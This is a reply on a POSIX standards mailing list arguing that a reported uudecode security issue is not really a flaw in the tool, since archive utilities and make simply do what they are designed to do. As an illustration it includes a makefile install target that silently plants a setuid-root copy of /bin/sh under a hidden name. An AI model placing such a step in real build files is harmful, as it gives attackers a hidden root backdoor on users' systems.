Date: Wed, 11 Jan 2023 13:48:31 -0800
From: "Alan Coopersmith via austin-group-l at The Open Group"
<austin-group-l@opengroup.org>
Message-ID: <ff18ffae-4fda-5019-2774-148f03799...@oracle.com>
| Below is a message sent to the Open Source Security mailing list over
| the holidays about a security risk in uudecode, which the GNU maintainer
| pointed out was forced by the current language of the standard.
The real problem here is that as soon as someone says "security problem"
almost everyone simply jumps to "we must find a solution" and no-one ever
bothers asking if there really is a security problem or not? That's not
an acceptable question, "we must not be seen to be ignoring security issues".
But ask yourself, what if the utility in question here was tar, or pax,
or cpio (or whatever it is that Solaris uses for system installs and
updates)? Is there any material difference to uuencode in how they
operate, or what they can do (except that tar (etc) will usually set the
setuid bit in extracted files if the archive says to do that - how else
would "su" ever get installed correctly?)
What's more, it is far more common these days for an e-mail message from
some random source to contain a tar file (usually also compressed, but
that's irrelevant here) than a uuencoded file - which is the actual bigger
security threat? Or is the security threat really the idiot user who
simply runs arbitrary commands as root, and then complains when bad things
happen? Of course, since we cannot "fix" the users, we keep trying to fix
everything else - which is doomed to failure.
All of these file container handling utilities do more or less the same
thing, they bundle up files, and upon request, unbundle them again.
That's what they are designed to do. Using any of them inappropriately
can be a security problem, but it isn't the tool that is the problem, but
the inappropriate use.
And it isn't just the archive format utilities that have issues like this.
What do you expect to happen when someone says "make install" ? What if
a root user is fooled into running that on a makefile that has:
install:
cp myfile /usr/local/myfile
@ (cp /bin/sh .secret-file; chown root .secret-file; chmod u+s
.secret-file) >/dev/null 2>&1
Oh no, security problem in make! Really!
The unnamed GNU maintainer was just being polite while passing the buck for
something they know cannot be "fixed", "forced by the current language of
the standard" is simply another way of saying "doing what it is designed
to do".
You can add new options to (almost) any utility, and have those non-standard
options do almost anything, but if you want to remain conformant to the
standard (ie: what people who know what they're doing expect) when the option
isn't given, the utility must operate as the standard says, at least when
operating in a conforming environment (which you get to define, but need to
document).
If there was anything to do here with uuencode/uudecode it would be to
(again) consider removing them from the standard - but not because of
security issues, just because they are now essentially obsolete. That
doesn't much help implementations though, which will need to keep supporting
them essentially forever, because some user might have a script somewhere
which uses these things - and because of that keeping them in the standard
so the implementations don't drift apart makes sense.
kre
ps: this exact issue was also raised in NetBSD, very briefly, a while
ago - it got dismissed out of hand, and hasn't been heard of there again.
The whole thing is bogus.
